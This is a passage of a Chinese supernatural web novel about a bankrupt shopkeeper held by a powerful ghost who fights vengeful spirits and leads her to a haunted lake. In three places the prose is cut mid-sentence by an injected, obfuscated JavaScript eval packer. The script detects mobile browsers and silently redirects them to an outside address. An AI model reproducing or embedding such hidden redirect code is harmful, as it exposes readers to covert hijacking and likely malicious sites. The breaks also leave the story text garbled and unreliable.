食物的香气让人心平气和,即便是涂蓝埙不怎么感冒的口味,面条盛出两碗,浇上汤,她像个伺候正神的童子似的,端着碗和筷子来到N附近,还放在那个货架。 这次她看清了,N在翻的纸册是个空白本子,上面根本没有字。 但他就这样一页一页慢慢向后翻,长指轻抚过每一页角,视线略微移动。他在用破碎的眼睛看一本无字的书。 打了个哆嗦,涂蓝埙见N没有起身吃饭的意思,她也不在意,利落地跑回去吸面条,心中暗骂,下次给他上三炷香他就吃了。 吃完饭,涂蓝埙准备刷锅,再次路过N那个货架的时候,发现一次性纸碗已经空了,只剩了些汤,那些面条全部蒸发不见。 她顺手收走,心中不禁疑惑,从没听到N起身的动静,他是怎么隔着三米吃掉那碗面的。 而且更在意的问题是,N到底留着她做什么。 她迫切需要知道这一点。 人就是这么贪婪,一旦发现暂时没有生命危机,就还想进一步,干干净净活下去,不被胁迫着做帮凶的事。于是涂蓝埙站到N的不远处,“我想,我们应该谈谈。” N耳朵微微一动,显然听见这句很像分手开场白的话,他没动,手指保持翻页的姿态,只是抬起眼睛,神态更加阴翳莫测。 “很感谢你没杀我,真的。你还替我付了打车钱。”涂蓝埙念词,第二句感谢是真的,她返程付的是N变出来的钞票,虽然这只是为了不让她用电子支付,但钱就是钱。 她继续说:“但是像你这种很厉害的人,我可能帮不上什么忙,我没有钱,已经破产了。甚至我还欠别人很多钱。我的力气也很小,上不了山也挖不动土……” N合上那个本子,将叠在另一条腿上的腿放下,两只戴着手套的手交扣,放在膝盖上,他没什么表情地看过来: “你有活人身份,还有一间便利店,从小就学管理,你会很有用——这都是你说的。” 涂蓝埙被噎住了,没想到N的记性那么好,将她的话一字不落复述出来,而且语气平板,仿佛在商榷一件物品的质量,轻描淡写,说出来只是为了让她为不诚实而害臊。 “这不冲突呀。”涂蓝埙毫不认输,轻且快地说:“我有便利店,但它没顾客就不赚钱。我懂一些商业管理,但力气不大,没法做挖土、打斗和切割东西这样的事情。”她努力把自己的定位朝法律的白线内拉扯。 N沉默了,似乎没想到她的口齿这么利,能狡猾地自圆其说。他无端升起一股烦躁,注视着眼前人,对方亦直视他,脸上是极为逼真的盈盈笑眼,诚挚得让人挑不出刺。 骗子,为了她的目的,什么话都能说的骗子。 她作这副友好的表情,只是为了在他的底线外多得多占,今天求一条命,明天就求别的。愚蠢又可笑。 就像之前的他那样。 涂蓝埙趁热打铁,“我不会把今天的事说出去的,你要是还忙别的,就没必要浪费时间在这陪我啦,我保证!” N掀起眼皮:“你也不想一个人面对今晚来拜访这的客人吧。” 涂蓝埙警惕,“什么客人?” N:“我的几位熟人。” 她:熟……人? 8. 08 涂蓝埙百无聊赖地坐在收银台电脑边,玩扫雷。走又不许走,刷手机也不敢,又不杀她,她实在闲得无聊。 又一次通关后,她看向说完话就缄默下去的N,心里总缠绕着怪异感。 不,她是绝对不会去问N和受害人关系的,知道的越多,就越不容易脱身。 涂蓝埙无聊得厉害,自从破产以后她其实很少无聊,每天都麻麻木木,但今天她竟然重获这种奢侈的情绪。 就好像和N相处的一夜一天太惊心动魄,反而打破她的死机状态似的。怪不得很多人喜欢极限运动。 “你在看什么。”N抛出出一个陈述句,他好像眼皮都没动一下,就凭空捕捉到她的视线。 涂蓝埙这才意识到自己看了太久,移开目光,“没看什么。” 她的眼神落回电脑屏幕,又开了局蜘蛛纸牌。N应该是能随时看到她在干什么的吧,不用动眼睛,或许他湿冷的目光一直在电脑上,盯着她结束一局又一局游戏。 幸亏有这台自带本机游戏的电脑,否则她真不知道应该做什么。 ? 电脑? 涂蓝埙深吸一口气,视线重新打量周遭的一切。便利店内凡是值点钱的东西,哪怕是超过三十快的自热火锅都被搬走了,这台收银电脑凭什么还在这? 她终于捕捉到潜意识里的违和感所在。又一阵冷意从脊背升起。最近发生的一切让她不得不往联想灵异事件。 “你终于发现了。还不算太迟钝。”N的声音冷冷传来,很可恶,他没继续说下文。 涂蓝埙赶紧放开鼠标,向后退了几步,见N没有解释的意思,她忍不住大着胆子拿起手机,搜索蓬莱大厦和24h阳光便利店的词条。 反正电脑这个话头也算是N挑起来的,她搜一搜,也不算越界。 自从鹿城开发区被诡异入侵,和蓬莱大厦有关的异闻怪谈就尘嚣甚上了,多数都是博眼球编的,涂蓝埙下划好长一段,也没找到以这间便利店为主角的。 退出又一个弹窗广告网页,涂蓝埙在关键词开头添加电脑一词,这次有了新发现。 是一个不太知名的本省论坛,页面很古早,其中一个帖子:【你们怕是不知道,蓬莱大厦阳光小时便利店的电脑吓死过人!!!】。 帖主把便利店名打错了,但点进去就能看见24h阳光便利店的照片,是事发前地图软件自动抓取的街景图。 他在帖子里写:听说收银台那部电脑闹鬼,从诡异入侵开发区后,就根本打不开机,但凡有人去开,屏幕都会出现一张特别吓人的女鬼脸,还会动!! 1L回复:lz别闹了吧,你说的是种吓人的木马程序,互联网时代早期就有了,专门发给好友整蛊的,有的还带尖叫BGM,你们这代人还是知道的太少了。 2L:对呀对呀,别在这危言耸听,和开发区有关的假消息太多了。 3L:呵呵,分享你刚编的故事。 4L[楼主]:我要撒谎即刻撞鬼好吧?!话放在这了,那个鬼脸绝对不是病毒!因为它的眼睛,会随着屏幕前人的动作来回转!! 5L:越扯越离谱了,发誓有什么用?你怎么证明? 6L:就是,万一是电脑摄像头感应呢,现在AI科技这么发达,人形捕捉早就应用于可视门铃了。笑死。 7L[楼主]:[图片][图片][图片]我表哥当时在这家便利店打工,开电脑的是他店长,已经装盒烧成灰了,我哥从旁边只是扫了一眼,现在还在医院里!我陪的床! 涂蓝埙点开大图一看,蓝白床单,还有薄垫陪床躺椅,床头印着红字,是本市的精神卫生中心。 那位爱发感叹号的楼主又和网友聊了几来回,他都自曝家丑了,后面人大多祝他表哥早日康复,或者劝他保护隐私删帖,虽然没人再反驳,但也没有人说真的信他。 退出论坛,涂蓝埙见N一直没反应,大着胆子输入原关键字+店长死亡,点击搜索。还真在页面底部找到一条新闻。 【鹿城32岁男子工作时心脏骤停猝死!查明系某便利店员工,当代996高强度工作何时休?】 新闻的发布日期就在开发区证实被诡异入侵的前半个月,还没来得及发酵,这类消息就混在铺天盖地的鬼故事中,无人问津了。 看来那个楼主有一定可信度。收银电脑没被搬走,也可能和所谓的屏幕鬼脸有关,来搜店的人是被吓到放弃的。 只是昨夜和今天加起来,涂蓝埙已经开过两回电脑,怎么没见有事? 她怂怂地走开,站在N的货架不远处,“电脑里真的有鬼啊?” N翻过一页白纸,手肘以很美观的角度撑着扶手,抬视线越过她肩膀,说出的话却并不动听,“有啊,就在你背后。” 涂蓝埙几乎立马感到背后多了个人,全身的寒毛都炸了,脖子僵硬着不敢回头,N不是那种爱开玩笑的性格,哪怕是殡仪馆那次,她也倾向于认为他说的是真的。 因为那张脸下颌线清晰,破碎的眼珠在暗奶油色皮肤上很显眼,他眉骨的笔直线条很严正,不笑时有种端傲的严厉感,和笑的时候完全两种风格。 虽然无论何时,N的视线都寒冷而带刺,看她如同看一粒灰尘。 涂蓝埙莫名能感应到,他没有骗人,或者说他骗人时不是这个样子。 “滚开。”N朝她的方向说,声音很轻但其中锋芒极为阴冷。 这话显然不是对她说的,涂蓝埙也的确感觉背后一松,那种被人跟在身后的感觉消除了。 她也明白过来,那个电脑女鬼没有出来吓她,多半和N一直在场有关。 只能趴在电脑里吓唬人的女鬼,和传闻中的BOSS级厉鬼是两个凶残等级。 他不容许别的鬼觊觎他的猎物,虽然涂蓝埙猜他准备留她一段,再找个机会活着吃。买蛤蜊回家还需要养一阵吐沙呢,更何况她这种有些利用价值的协同犯。 涂蓝埙忽然有点和那个女鬼共情,她们都是被压迫的一方啊。 # 天又黑了。 陶思发来消息,涂蓝埙吓掉的胆子重新长了出来,她直接给陶思打字回话,同意对方继续“勇敢者”挑战的提议。反正如果N不许她发的话,他可以直接拦截消息。 一个红圆圈出现在消息界面,显示发送失败,请检查网络。 N不允许。 这有什么不允许的?她只发了俩字,OK。 涂蓝埙暗暗投去不满的目光,只有两秒,马上缩回去,她机械性站起身找晚饭吃,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184556|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边暗想涂蓬莱女士之后的医药费怎么交。 她还有一丁点积蓄,也就够续半个月不到,这还是她自己不花一分钱的前提下。 手机忽然又震一下,她以为陶思发消息来阴阳,点开却是营业厅短信,显示新的一个月电话卡套餐已续订,由于余额不足,自动从信用卡扣费,共计18009元。 18009元?涂蓝埙咳嗽起来,她什么时候订了这种天价电话套餐,真的合法合规吗,营业厅盗刷她信用卡! 抖着手指打开明细,她绝望地闭上眼睛,这个电话卡套餐本身只有六十块,但前年银行给她送礼品时,推荐她办了合消费服务。 各种平台会员和几个常购品牌的月低消积分金,都会一并随着通信服务扣费,她懒得看很多短信,就签了协议,当时那点钱在她眼里毛都不是。 她恨当时不知天高地厚的自己! 这个月扣掉五位数,也有一部分原因是她的消费降级了。之前存入品牌会员号的积分余额抵扣一大部分,剩下才是划走真金白银。 可恨的是一一点击解约的时候,品牌小管家还弹出消息,告诉她本月续会员的小礼品已经在路上啦! 涂蓝埙瘫倒,她现在一丁点积蓄都没了,十万块的启动资金从(1/10)清空为(0/10)。 她去摇奶茶行吗,还得是和老板说尽好话,跪求预支工资的那一种。涂蓝埙人生失去希望,忽然感觉自己连鬼都没那么怕了。 世界上最可怕的鬼明明就是穷鬼。 对了,N今天好像有凭空变出钞票啊。 看他的样子,也不像在乎钱的性格,更不在乎法律不法律的。 涂蓝埙动了一瞬歪心思,N像看穿了似的,合起本册起身,朝她的方向走过来。目光凝沉,仿佛即将做出什么不得了的决定。 是要给她钱吗,他都把她绑进团伙了,团伙好像都会分赃吧。可那种钱她真的能要吗。 涂蓝埙的纠结还没持续两秒,N就越过她擦肩而过,他真正的目的地是店门口。 一缕青烟从N身前升起,他朝店门外看了眼,侧过身涂蓝埙才发现,N手里多了一支燃香。他低着眉,目下并无慈悲,而是一脉冷戾尖锐,眉锋如刀。 “来了。”N说。 当燃香的烟雾飘满整个门口时,夜风簌簌,带来穿透衣服的阴森冷意,白昼明明是晴天,夜间却黑得厉害。 一个人影骤然于黑暗中走出,来到店门口,身上不断有血液洒在地上。 他好像穿了件绛红色的开衫,版型很怪,衣摆垂在两边翕动,但当这人走到灯光范围边缘,涂蓝埙险些吐出来。 那不是开衫,他的上半身是赤裸的,从颈下到裤上一道竖切口子,深入内腔,皮肉和肋骨向两边翻折开,如同前置翅膀,遮住双臂,中央内里结了一串红果,远远看去,仿佛穿了件红色开衫。 开膛者眯眼看向灯光,如同眷恋活人的气息,腐烂味道骤然而起,他是一个夜间骤现的恶鬼。 而同样森然的黑影,在开膛者背后还有许多个。 有只剩半边脸的,有双眼空洞的,有皮肤布满红色网痕的,一个个围过来,带起森森白色雾气。 他们的目光看向一个共同的点,N,以及他背后的涂蓝埙。 9. 09 如果不是缭绕过皮肤的寒气,涂蓝埙会误以为他们是恐怖片剧组的演员。 但空气中的血腥味太重了,她向后退半步,逃跑的欲望再一次升起。她又把自己往N身后藏了点。 “我没有召唤你们中的全部。”N说,或者对这群鬼魂中的某几个说,他的声音仍然冷。 那个敞着胸腔腹腔的“开衫男”向前走了半步,声音嘶哑,仿佛来自地狱,“N先生,我们已经等不及了。” 他敞露的内脏如同一篮瘪柿子,涂蓝埙很不适应这种场面,心想,你们的目的要是N的话,就赶紧把他带走吧。 N严厉而坚决,“回到你们应该待着的地方。” 开衫男嘶声,看向N的眼睛充满仇恨,“我们无法安息!是您让我们落到这个地步!我们不甘心,没有一双满含怨念的眼睛能够瞑目!” 这只鬼说话一股舞台剧翻译腔,此言一出,周围散站的鬼魂纷纷点头。 N毫无动摇,“没人关心你们的怨念,今夜这里不欢迎你。” 开衫男身旁的一个男鬼魂说话了,他的声音很轻,几乎让人听不清,涂蓝埙这才发现他的喉咙被切开一个大口子,风从那漏出来,“N,我们血腥的朋友,今晚的目标不全是你……若你为往事感到亏心,就让开吧。让我们亲自和那位小姐聊聊……” 他兀自向前走一步,顿时引发N的晦暗怒火,几乎可见的黑色风暴平地拔起,鬼魂们恍惚间听见雨点砸地的声音,愈来愈密集,阴风怒号,寒气竟然在玻璃上结了层霜,每一片霜花都是鬼脸的形状。 “滚回去,或者死在这里。我不介意再送你们一程。”N一字一顿,如寒钉般刺过去。 “你,和我们究竟有什么区别?”开衫男和割喉男的身影浅淡几分,两人几乎挤成一团,瑟瑟发抖,但看向N的目光充满恶意,“杀手!凶犯!第一实验室里爬出来的孽种!你比我们肮脏多了!让我们单独和那位活人小姐说话!” 涂蓝埙搓了搓胳膊,指向自己:我? 她和这些一看就悲惨横死、怨念深重的厉鬼,有什么可说的吗? 如果两边打起来,她该从哪个方向偷偷逃走,受害者们和疑似凶手的战斗可跟她没有关系,因为双方都不是活人,更不是善茬。 就在这时,N的身影忽然消失,再出现时已在开衫男身后,他下颌微收,整张脸在眉骨和鼻梁的阴影下,宛如刀刻,一只手握住了对方的胸骨柄,因为用力,被黑皮手套包裹的手背,隐隐浮凸扇骨般的格线。 还未等开衫男反应,N修长的手指向下一拽,开衫男腹腔中烂果子似的内脏,便被鸟啄了般颤抖起来。 开衫男的身手竟然不错,重心换到脚跟,手肘扬击身后,N利落偏头躲开,额前碎发垂落,使得那双破碎的黑瞳更显阴暗,他手下一攥一扭。 “啊啊啊——”开衫男凄厉的惨叫在夜空中回荡,幸亏这里是无人区。 涂蓝埙观看了一场精彩绝伦的格斗表演,不如说单方面碾压,N的身影在鬼群中变换闪现,所及之处一片翻倒。而且,他赋予那些鬼的死法,和他们身上的致命伤一一对应。 这显然引起鬼群最深刻的恐惧,当N不知从何处变出一场局部暴雨,泼头困住显然是水鬼的浮肿老者后,他最后闪现回店门口,出现在试图走向涂蓝埙的割喉男身后。 N以指作刀,再次抹过割喉男的咽部,对方眼中是再死一次般的绝望感,伤口横拦整条脖颈,摧折颈椎,割喉男的头不受控制地向后折仰,后脑勺几乎贴在背心。 鬼是没法被杀死第二次的,或许能,但N没有这么干,所以那群尚存一息的鬼,都蠕动着,一个接一个消失在视野中。 涂蓝埙这才意识到,N是那种怨力很强的大厉鬼,不仅能控制电子设备,对其他恶鬼也有绝对压制力。而她已经跟他近距离接触超过24小时。 “哇。”涂蓝埙的嘴转速比脑子快,立即捧场,“你真厉害!” 这话说得并不真心,N对付那些鬼魂的手法太利落太熟练了,明显不是第一次下手,像处理材料的工匠厨师一样得心应手,甚至长存肌肉记忆。 N没回头,对空荡夜色说:“出来吧。” 便利店之外是一片平旷的人行道,足有上百平米,边角有一绿化花坛,栽种的矮灌木已然野蛮生长,在层层绿叶中,倏然站起一道虚幻的佝偻影子,朝他们走来。 又是鬼。那鬼和开衫男等人不是一群的,N对他的态度也不同。 他就是N所说的客人。 来者约莫六十来岁,油腻腻的分头短发,穿着暗绿色马甲,裤脚沾满黄泥,一副普通小老头的模样,他轻轻点头,“N先生。” 想不到的是,小老头还转向涂蓝埙,也对她点点头,“晚上好,小姑娘,打扰你啦。” “没有没有。”涂蓝埙下意识接话,其实是有的,但小老头是这段时间里第一个对她好好说话的人,他好像不是恶鬼。 # “我姓刘,小老板你叫我刘伯伯就好。”刘伯伯在收银台旁坐下,涂蓝埙反应过来小老板是自己,应了声,逃到货架取了两瓶矿泉水。 她的小算盘是,只要假装谈话的只有这两只鬼,她放下水就能丝滑离场啦。 下一秒希望被打破,N指尖轻叩桌面,货架深处属于他的那把椅子飞过来,他指了下电脑旁的第三张凳子,“坐下。” 涂蓝埙几乎是被他森冷的目光按在凳上,不情愿地坐下来,听刘伯伯对N没头没脑道:“这次真的麻烦您,还有小老板了。” 不是,她答应什么了?不仅没答应,连麻烦的内容都一无所知,这对吗。 鬼让人干的事一定不是好事。这是她的经验之谈。 “确认在青山湖那边了吗。到什么地步了。”N没有寒暄的兴趣,连抛两个问题。 刘伯伯回答:“确认了,就他一个还有他儿子。那里已经不能靠近,接近湖边就会被无差别攻击,我凫下去试过一次,时隐时现的,他看着,我碰不到。” 看是一声,刘伯伯想了下,继续说:“就算能碰到,我也带不上来,光骨头加起来就百十斤。” 什么湖边,什么骨头,听着越来越不妙,不会是另一起凶杀案吧,要把她扯进来。 涂蓝埙正苦苦思索如何推诿,N竟然开口,“好,明天我们去看看。” 刘伯伯等的就是这句话,噌地站起来,想要握N的手,看到修长骨节上裹覆的黑手套,又缩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184557|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去,声声不断,“谢谢,谢谢两位!” 说完,他消失在原地,只剩死人般毫无反应的N,还有一脸懵然的涂蓝埙。 她答应什么了,她就问她答应什么了?这场聊天从头到尾,她说过半个字吗。难道被迫旁听也要随机打死一位幸运观众吗。 这些怨念涂蓝埙只能在心里说说,她面上仍是恬淡的神情,目光静静投向N,以尽量平等合作的视角,询问一个解释。 但在刚目睹对方暴徒般二次杀害群鬼后,这种目光总是有点心虚。 “明早六点,去青山湖。”N阴阴看她一眼,随即向货架深处走去,那把椅子飘在后面。 涂蓝埙忍不住叫住他,“你没说是什么事,而且,我也没答应你要去呢。” 她是害怕鬼,更害怕死,但被人像物件一样来回摆布,还不告诉真相,实在超出涂蓝埙的接受范围。 到底是什么事非要逼她做,帮凶也好,工具人也好,总要说个明白吧。 “我没说我不答应。”她说完这句,N用破碎的眼珠对准她,神色难辨,唇角抿得很紧,她赶快找补,“虽然合作了,但我想当个明白人,死了也当个明白鬼。比如今天的事,还有明天的事。” 涂蓝埙根本不信N留在这,只为操控她这个孱弱劳动力,他本身就接近无所不能。 N原本淡墨色的眼瞳更为幽暗,如同攫住她的万丈深渊,其中慢涌着危险的情绪。 “而且我有事要做,这里的食品会过期,我妈在医院需要钱,外面还欠着债。没办法天天和你跑。” N高挺的鼻腔内轻嗤一声,长指夹起一只皮夹,它是一沓凭空出现的,被他放在货架上,摆过香菜泡面的那个位置。 “这是今天的酬劳,记住,明早八点。” 嗓音明亮微哑,N长腿一迈,越过涂蓝埙离开,等下一秒她再回头,他的身影已经消失。 店里又只剩涂蓝埙一个人。 她打开那皮夹,它比她想象的更厚,里面每张都是最大面额的钞票,有现行货币也有不同国家的外币,涂蓝埙对汇率有大致概念,算了算,加起来总共值九万块。 曾经日薪九万她不屑一顾,现在日薪九万她眼神瞬间清澈。 她只是随口一说,巧立名目给自己争取个人权利,没想到N真的给了她一笔钱。 但这不是最重要的,除去钞票,皮夹里有一枚金币。 质地应该是纯金,尺寸比一元硬币大和厚得多,直径接近小茶杯托,有些沉手,至少重200克以上。 它在纯黑色皮夹中反射着璀璨金光,直接刺透她眼睛,映照在大脑分泌多巴胺的部位。 对她来说是财富和救赎的颜色。 但在此之前,它们属于谁,会不会是哪个受害者呢? “等等!”涂蓝埙忽然出声,咬咬牙,钱夹烫手似的被扔回货架,她努力移开目光,“N先生,这钱我不能要。” 周围静默着,涂蓝埙有些后悔开口,但只能继续说下去:“如果钱财的来路不合法,是没办法正常花用的,我——我们会被查到。” 空气中忽然传来N的声音,带着一丝冷哂,“很干净,你尽可以去查。若还不敢要,就还回来吧。” 10. 10 这是从天而降的一大笔财富,涂蓝埙拿起钱包懵了一会,冰冰凉凉的触感唤回她的神智。 她不是没被放贷的找上门过,他们表面上给钱,实际上觊觎得更多,N会平白给她这么多钱,他要什么? 担忧只持续两秒,涂蓝埙咽了口唾沫,反正N手里掐着她小命都没杀,她难道还有自主选择权吗。 那就……先收着吧,等到摆脱N再说吧。 涂蓝埙上楼,却被二楼的场景打了个跟头。 这里不一样了,昨夜二楼灰扑扑的,沙发床也蒙着一层薄尘,地板也应该有她来回的鞋印。 可是现在,二楼的地板一尘不染,没开灯也泛着层亮光,沙发床更是软绒洁净,一切就像家具城的样板间。 见了鬼了……可不是见了鬼了! 涂蓝埙心中升起一个隐秘的猜测,不会是N清洁了二楼吧?虽然对灵异力量来说很容易办到,但N做出这种行为本身,完全超出她的想象。 是了,他好像是爱干净的,哪怕变成鬼了,他身上的衣服都是簇新挺括的,连条褶都没有,更别提灰尘污垢。还时刻戴着手套。 N干净得就像墓碑前新扫过的供台一样。所以连和他没一丝关系的便利店二楼,他也不容忍半点脏旧。 对此她只想说,请继续保持这个习惯。 涂蓝埙坐进沙发床,动作一滞,她这身衣服是进过殡仪馆的,袖子还碰过存尸柜的门。 她嫌弃极了,在黑暗中轻轻龇了下牙,无奈这没有换洗衣服,只能忍住。 动了动,屁股忽然坐到毯子下有一叠柔韧物体,扒出来一看,是套衣服,基础款的白卫衣和灰绿色长裤,面料软乎乎的,很新,明显是女装。 天菩萨,这又是什么时候放过来的。 或者说,N是怎么考虑到这一点的。 明明是掐人脖子逼人帮凶的厉鬼,背地里却打扫了二楼,还备了套衣服,悄悄放在毯子下面。 一个会伺候猎物的捕猎者。涂蓝埙想来想去,感觉他更变态了,不禁打抖。 她当然有好就占,生怕N反悔似的,赶紧换上,尺码竟然合身,而且款式耐看,料子和她曾经穿的差不多,既能穿出门,也能当睡衣。 便利店二楼静悄悄的,夜窗都不显得亮,一楼方向隐约传来有节奏的滴水声,像是雨的呼吸。世界安宁。 “谢谢你哦。”涂蓝埙没敢开口,她在手机里敲了几个字,给随便一个联系人发过去,红点跳出,果然发送失败。 但她知道,N看见了。 # 第二天醒来时,正是七点半。 涂蓝埙下楼时,N已经出现,仍坐在远离晨光的角落,膝盖上摊着那本无字书。 他换了身黑衣服。黑夹克折搭在椅背,他自己穿的是件很修身的高领黑内搭,脖颈笔直,肩胸线条隐现。 袖子整齐地折在小臂,其上是一截薄劲笔直的前腕,再上是很贴合的黑皮手套,苍白皮肤与黑色裹覆形成强烈的反差刺激。 涂蓝埙忽然感觉身上那套白绿衣服不太自在,可N的眼神动都没动,就像完全和他无关。 她自觉找出两袋面包当早饭,鉴于上次蛋黄酱火腿面包N没吃,她将那袋留给自己,另一袋菠萝果酱的放在货架边,“吃早饭了喔。” 她不敢再去电脑附近,于是把椅子拖到门口日光好的地方,吃完再回头时,货架上的菠萝酱面包已经消失不见。 好快。 还有一刻钟到八点整,N站起身,给她一个阴凉的眼神,“走。” 在开发区打车可不是件容易的事,涂蓝埙想着,却没想到一走出便利店,就看见街角停了辆银灰色的捷达轿车,昨天还没有的。 “你会开车吗。”N扫向那辆捷达。 涂蓝埙呛了下,“会,但不常开,手动档只在驾校开过。” 两人走过去,也没见车钥匙,银灰捷达便自动弹开两侧车门,如同微微展翼的老鸟,涂蓝埙吓了一跳。 她打量着驾驶位,老车特有的淡机油味钻入鼻子,N坐上副驾驶,安全带像一条眼镜蛇自动掉下来,绕过他的身体,一头钻进卡扣。 两秒后,在N无声催促的眼神下,涂蓝埙也体验了一把眼镜蛇绕身的感觉,简直头皮发麻。 车子发动,但机油味很快散去,被N身上独特的墓地草木味取代,风从侧玻璃的缝隙灌入,涂蓝埙朝N指示的青山公路方向开去。 青山湖和旁边的青山公路在城南,开发区则在城西,途径的环城路只受到早高峰轻微波及,同路车有但不多。 车子没开出几公里,涂蓝埙就换错两次档,中途还熄了回火,捷达车年限实在太老了。 饶是被后车鸣笛,N仍然稳坐着闭目养神,没催促她,也没提出换他驾驶。涂蓝埙只能重新发动,好在后面熟练上手,没再出过错误。 又过一刻钟,路面变得宽敞畅通,天蓝风清,山色田野遥遥可见。 “那边就是青山湖了吧?”涂蓝埙试图搭话,“我小时候还去玩过呢,毛芦苇比人还高,蛮有趣的。” 她扯东扯西,就是绝口不提此行目的,努力假装自己和其他事情不相关。 车子转进青山湖侧路,那里有一片旧旧的停车场,白线剥蚀不堪,除了路牌和一栋锁门的小公厕外,没有半点人烟痕迹。 涂蓝埙听说过青山湖,傍临西春山脉最末的低势余韵而得名,其实就是个矮山坳坳里的野水泡子,美名为湖,草木繁盛,没被人工开发过,实则是钓鱼佬们空军的好去处。 他们将车停入场地,她在N的带领下朝山坡树林走去,穿过一道狭路,后面就是青山湖。 这段路不通车,但也没有鞋印,前几天下过雨,石砖路有些泥巴,但被冲得凌乱。涂蓝埙踩着空地跳过去,青山湖边的景象却完全出乎意料。 幼时记忆中的青山湖是暖色的,水面金光粼粼,而且大得吓人,仿佛海洋般无边无际,偶尔梦到,都能把小小的涂蓝埙荡入水中,当一尾自由的小鱼。 眼前的青山湖小了一圈,但水色幽黑,能看出湖底很深,而且最不对劲的是,湖面笼罩着一层阴森沉重的杂气,其上是暗暗黑雾,靠近水又变成森寒白气,霜似的舔舐湖面,随时都会凝结成冰似的。 涂蓝埙使劲眨眨眼,她没眼花,那些东西就是实在存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184558|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 “喂……”她刚想说话,就听不远处传来嬉笑声,是一对年轻情侣,穿着同色冲锋衣打闹着,裤子有几道灰土,涂蓝埙来时瞥到一处土石缓坡,比停车场更方便,但也更险,可能他们是从那来的。 还有只野营包挂在身后树杈上,将树枝压到很弯快裂开,涂蓝埙都要替那树感到疼了。 这里竟然有人,而且看他们的表情,完全察觉不到湖面有问题似的。 “那边有活人。要不算了吧。”涂蓝埙拿不准N能不能被他们看见,她嘴唇不动地说,希望他回心转意。 N冷冷漠视情侣的方向,过两秒,一声冷笑,“你确定?” 冲锋衣情侣搂抱着自拍起来,前面的女生活泼地蹦跳,冲涂蓝埙的方向大力挥手,笑容很开朗。 涂蓝埙下意识回了个招呼,却发现头顶日光冷亮,女生在湖边跳来跳去,她脚下却空茫茫一片,没有影子。 那个男生也没有影子,他俩是鬼魂。 她缓过神的时候,冲锋衣情侣已经消失了,包括那只包,只剩下被压弯的树杈,枝头折腰垂在地上。 涂蓝埙下意识打开手机,信号微弱,她输入青山湖和冲锋衣情侣的关键词,果然跳出一条新闻。 【鹿城青山湖边情侣殉情,年仅23岁,家人至现场哀悼令人心碎。】 新闻配图是两名死者生前的朋友圈合影,青春登对,而下一张图片是现场景物,一只挂在树杈上的野营包,就在刚刚那个位置。 野营包孤零零挂着,像湖野中唯一一抹艳色,吊在那,如同一颗巨大虫茧。她心里一堵。 冲锋衣情侣虽然死在湖边,但死因是上吊,事情是去年发生的,没引起多大风浪。 “殉情,上吊?”涂蓝埙眉心蹙起,“他俩的鬼魂很阳光啊,明显是在湖边玩玩闹闹的。怎么会殉情呢?” 而且还有一个更重要的点,她竟然看到了鬼及其影响场域。首先涂蓝埙一点都不想,其次,之前看到N是因为N主动现身,现在看到情侣…… 涂蓝埙顺着问出来:“会不会他俩在给我传递消息,告诉我他们其实是他杀?” N低头看她一眼,自从到湖边,他的目光就一直落在湖心黑气中央,面无表情,此刻被涂蓝埙一问,面容稍微有了点活气,“也有可能是骗你过去杀。” 这话说得涂蓝埙一背冷汗,她这才想起自己怕鬼,而放眼望去,湖边出现过的四道身影里,只有她一个活人。 她很快决定不掺和情侣的事,尽快解决眼前,然后离开这个晦气的地方,于是问,“现在怎么办?你要帮刘伯伯找东西,是在湖里吗。” 是的话他就赶紧下去,找完开车走人,千万别提要她帮忙的事,她就当一早来练车的。 而且拽上她也没用,她水性很一般,N这么无所不能,别说下湖了,下个海也轻而易举啊。 一出门就撞了两只鬼,涂蓝埙觉得那只黑钱包有点不够了。 “我准备下湖。”N仿佛看破她心思,忽然微笑,他笑起来阴森森地灿烂,准没好事,“不过你是打算跟我下去找湖底的鬼。还是留在岸上,和那对情侣联络一下感情?” 11. 11 涂蓝埙连连摇头,根本不上套,“我没有潜水设备,去停车场等你就好了。” 说完见N没反对,她笑了笑,后退两步接着转身,朝原路小跑返回。 可就在要踏上那条窄砖路的瞬间,一种无形禁制拦住了涂蓝埙的脚步,让她无法再往前挪动一毫米。 回过头,N还站在原地注视她,笔直的长腿和宽平的肩臂,让他像一面冷风中的黑旗,“回来。” 两人隔了约二十米,湖边风不小,可N的嗓音就像直接响在涂蓝埙耳边似的,冷冷痒痒钻进耳道。 涂蓝埙留在岸边,N独自下水,他根本不试水温,鞋底踏上湖面的一刹那,整个人消失在空气中,一道水波逆着浪头钻向湖心,消失在黑雾和白气之中。 她确认N不在这,环顾四周,正转身想逃离这个鬼地方,可是两道身影赫然堵在前方,是那对冲锋衣情侣。 